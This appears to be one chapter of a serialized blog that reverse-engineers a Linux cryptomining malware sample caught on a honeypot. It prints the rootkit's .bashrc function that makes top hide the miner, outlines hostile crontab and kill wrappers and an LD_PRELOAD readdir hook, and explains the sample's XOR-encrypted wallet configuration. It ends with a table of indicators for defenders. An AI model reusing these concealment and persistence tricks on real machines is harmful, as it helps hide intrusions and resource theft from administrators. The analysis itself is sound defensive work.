DIICOT · Chapter 24
The line nobody wrote
The previous chapter left a number unexplained: the backdoor was deleting a different process on every installation, and that can't be known in advance. I open the miner and the answer shows up — a template with the gap already reserved. Along the way out comes the wallet the money goes to, behind encryption that's frankly laughable.
In the previous chapter I was left with a loose end. The critter plants a line in the administrator's .bashrc that makes top lie and hide the miner. That line deletes three things, and one of them is a different number on every installation — the critter's own process number, which nobody can know in advance because each machine hands them out as it goes.
Something was working it out and pasting it in within seconds. Today I open the miner with Ghidra and out comes what. Along the way, out comes who gets paid and how.
01The binary on the table
The sample is the one from the previous chapter: the file pulled down from their server and run as .16. A 64-bit ELF, static — it carries every library it needs inside, so it runs on any machine however old or stripped down — and stripped, meaning without the names of its own functions. The equivalent of tearing the labels off every part before handing it over.
That matters for what follows: when Ghidra opens a binary like this there are no names to read. Everything that appears from here on I've had to work out from the code itself, and the names you'll see in the screenshots are ones I put there.
02The line nobody wrote
Straight to the loose end. I searched inside the binary for the backdoor line expecting not to find it — because if the number changes on every machine, the line can't be stored as-is.
It's there. And it's there with a hole in the middle:
top() { trap 'tput cnorm' INT; tput civis; { script -q -c "/usr/bin/top" /dev/null
| sed -e '/16/d' -e '/libbase\.sh/d' -e '/[NUL]/d'; } || /usr/bin/top; tput cnorm; }
↑
a zero byte, right where the number should goThat [NUL] is a zero byte: the character that marks the end of a string in C. To a program, running into a zero there means «the text stops here». And that's exactly what it is — the end of the first half of the sentence. The second half sits right behind it, waiting.
In other words: the critter doesn't carry the backdoor line. It carries the template, with the slot already reserved. When the moment comes it asks what its own process number is, turns it into text, drops it into the hole and spits the result into .bashrc.

The recipe, step by stepdisassembly
Five moves, in this order:
CALL getpid // what's my process number?
MOV ESI,EAX // hold on to it
CALL … // turn it into text — this is why two halves are needed
LEA RSI,[HALF_A] // "top() { trap 'tput cnorm' … -e '/"
LEA RDX,[HALF_B] // "/d'; } || /usr/bin/top; tput cnorm; }"
// result = HALF_A + number + HALF_BThe getpid at the start is what settles everything: the number the filter deletes wasn't chosen by anyone — the critter asks it of itself, right before writing the line.
And there's the explanation for the two numbers in the previous chapter. On one visit the process was 7704 and on the other 2845; the template is the same, letter for letter, and the only thing that changed was what went into the slot.
03And it isn't one command: it's three
While I was in there, I checked whether top was the only command they meant to rewrite. It isn't. There are two more, and they're better.
The first is crontab, the command for managing scheduled tasks — that is, the place an administrator would look to see what runs by itself on their machine:
crontab() {
if [ "$1" = -l ]; then # «list my tasks» → hides its own from you
elif [ "$1" = -e ]; then # «let me edit them» → re-pastes them on save
elif [ "$1" = -r ]; then # «delete them all» → deletes yours, keeps its own
fi; }All three branches are worth reading. With -l it hides its own entries from you, which is the expected move. With -e it opens the editor on a file with its lines stripped out, lets you change whatever you like… and pastes them back in when you save. And the third is the good one: crontab -r means «delete all my tasks», and what it does is delete yours and reinstall its own. The administrator's act of cleaning up becomes the attacker's act of cleaning up.
The second is kill, the command for killing processes, and it's disarmingly simple: it walks through what you hand it, throws away any -9, and calls the real kill with what's left.
On Linux, kill -9 is the blunt order: it kills the process without letting it refuse or say goodbye. You type kill -9 at their miner and what comes out the other side is a plain kill — a polite signal, one their process can catch and ignore. From that shell you can't force-kill anything, and the system doesn't warn you: the command says yes, and the process stays alive.
04What it's carrying in its luggage
This binary isn't just a miner: it's a miner that brings its own removal van. Digging around turns up the pieces that never got deployed on my machine.
First, another whole program hidden inside. A binary can carry another embedded in it like any other data and spit it out to disk when it suits. There are two here, and one of them is the kind that loads inside other programs — a library. That's the real rootkit, the one the previous chapter found half-installed: /etc/ld.so.preload was in place, but empty. The library it was missing was travelling in here.
I pulled it out to see what it can do, and it's more modest than you'd expect from a rootkit: it hooks a single function, the one that lists the contents of a directory. It installs as /usr/local/lib/libcommon.so and, once loaded into every program that starts, when somebody asks for a listing of /proc —which is where Linux gets the list of what's running— it strips out the one called 16 before handing it back.
Then, the pieces the backdoor was already talking about and that I hadn't been able to see:
libbase.sh # the shell hook component
system-helper # the systemd persistence from the previous chapter
/var/tmp/snap # one of the payloads it drops to disk
.X0-lock # another, disguised as a display-server file
__TTY_GUARD_OK__ # a self-check (see below)That libbase.sh the top filter was covering up, and which wasn't anywhere on the machine: it's theirs, and it travels in here. It isn't another victim's, and it isn't a slip — it's in the template because the kit puts it there, even though on my machine it never got written.
And the payload names say plenty: /var/tmp/snap sounds like Ubuntu's package manager, .X0-lock like the display server's lock file. They're names an administrator sees in a listing and walks straight past.
05Following the money
A miner needs to know two things: which server to connect to, and which wallet to credit with whatever it earns. That lives inside the binary, and it's the most interesting part of the whole critter — because it identifies the operator across all their victims, not just mine.
They keep it encrypted. But with the cheapest lock going: a single-byte XOR.
So I tried all of them, looking for something shaped like a Monero wallet — 95 characters, starting with a 4 or an 8. And the result isn't what you'd expect:
With the right key — it turns out to be 0x5A — the block comes out whole:
# the Monero wallet
89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam
# and the three addresses, one after another
169.58.248.162 # their own proxy
5.189.149.171 # the delivery server — the same one from the previous chapter
project0.cc # the domain
And a detail I like a lot: in the decrypted text the fields come separated by the letter Z. That's no coincidence and no part of the data — those Zs are the zero bytes. The padding separating one string from the next, run through the XOR with 0x5A, all turns into Z. The separators give themselves away: you don't have to guess where each string ends, the encryption draws it for you.
Why the padding gives the key awaytoy cryptography
The property behind it is that zero mixed with the key gives you the key. Since config blocks are padded with zeros to make the sizes line up, in the encrypted binary those zeros all show up converted into the same character — which is the key in person. If you see one byte repeating in long runs inside an otherwise unreadable stretch, there it is. You don't even need to sweep.
The order of the list tells you how the business works: first their own proxy, then the delivery server and the domain, and only at the end seven public pools on supportxmr.com — and those do travel in the clear, unencrypted. The operator mines against their own; the public pool is the parachute. It also tells you what they care about hiding: what they encrypt is what identifies them; what anyone could use, they don't.
And laying them out in order does turn something up. I sorted them by upload date and looked, in each one, at how they stored the wallet and what they mined against:
July wallet IN THE CLEAR · public pool, directly
11 August (loader, no wallet) · still no proxy of their own
30 August (loader, no wallet) · ← their own proxy appears
September wallet encrypted · own proxy · public pool as backupIn July they were mining with the wallet in plain sight against a public pool. By September they'd moved to an encrypted wallet against a proxy of their own, with the public pool demoted to a safety net — which is exactly the hierarchy I just read in the config.
And the change can be dated, though not where you'd think. The two August samples aren't miners: they're loaders —the piece that installs— and they carry no wallet at all, so there's nothing to compare on that front. What they do carry is the proxy address, and that's where the cut falls: in the 11 August one it isn't there, and in the 30 August one it is. The hinge falls between those two dates, and what marks it is the proxy, not the wallet.
Careful with what that means and what it doesn't. What doesn't overlap is what the binaries carry configured: the old wallet shows up only in the July samples and always in the clear; the new one only in the September ones and always covered. That's a fact about samples, and it goes no further. What the two wallets actually did —how much they've taken in, since when, and whether they're still taking it— isn't inside any binary, so this chapter doesn't settle it. But it isn't a dead end either: it can be found out from the outside, and I give the next instalment over to it entirely.
06The 443 that encrypts nothing
Their own proxy is 169.58.248.162, and it listens on port 443. That's the HTTPS port: the one for secure websites, the one that's open on every firewall in the world because if you close it nobody can browse.
But in the config, encryption is switched off. Which means: they speak the mining protocol in the clear over the HTTPS port. They're not using it to encrypt — they're using it to look like ordinary web traffic and slip by unnoticed.
And there's a detection rule in that which works for anyone: outbound traffic to 443 that never negotiates a certificate. A real HTTPS connection always starts with a handshake where both sides agree on the encryption. If something goes out over 443 and skips that step, it isn't a website: it's somebody hiding behind a port number.
And there's a pattern in where all of this lives. The delivery server, this payout proxy and the address the last two visits came from are all three at the same provider — Contabo, AS51167, a big, cheap hosting outfit. The addresses that only knock on the door trying passwords, by contrast, rotate from provider to provider. It's worth saying carefully, because the provider is legitimate and has nothing to do with any of it: the finding isn't Contabo, it's that they choose it. And the reading is that the machines they attack from are disposable; the ones that have to be paid for and maintained —delivering the binary and collecting the mining— they keep together and still.
07Indicators (IOCs)
The intrusion ones are in chapter 23. These are the ones from inside. The wallet goes in whole: the only party it points at is the operator.
| Type | Value |
|---|---|
| Monero wallet | 89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam |
| Mining proxy | 169.58.248.162:443 — no TLS · extracted indicator, not an observed connection |
| Delivery and domain | 5.189.149.171 · project0.cc |
| Backup pools | pool-{fr,phx,nyc,hk,sg,aus,ca}.supportxmr.com:5555 — all seven, in the clear |
| Config encryption | single-byte XOR, key 0x5A — sweep all 256, it can differ between components |
| Backdoor template | string split by a zero byte where the running process number is inserted |
| Fake commands, primed | top() · crontab() · kill() — all three, inside the binary |
| Embedded components | libbase.sh · system-helper · /usr/local/lib/libcommon.so (rootkit: hooks readdir) |
| Payloads on disk | /var/tmp/snap · .X0-lock |
| Self-check | __TTY_GUARD_OK__ — run with and without a terminal after writing the hook |
| Network signature | outbound traffic to 443 that never negotiates TLS |
| SHA-256 (miner) | a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 |
To be continued — the binary has nothing left to give me. It leaves me a ninety-five-character wallet and a question it can't answer: how much has this thing earned? Monero is built so that no balance can be looked up, so the answer isn't coming off the chain. It's somewhere else, and getting to it doesn't require touching anything of theirs. I pull on that thread in Chapter 25. 🍯
Comments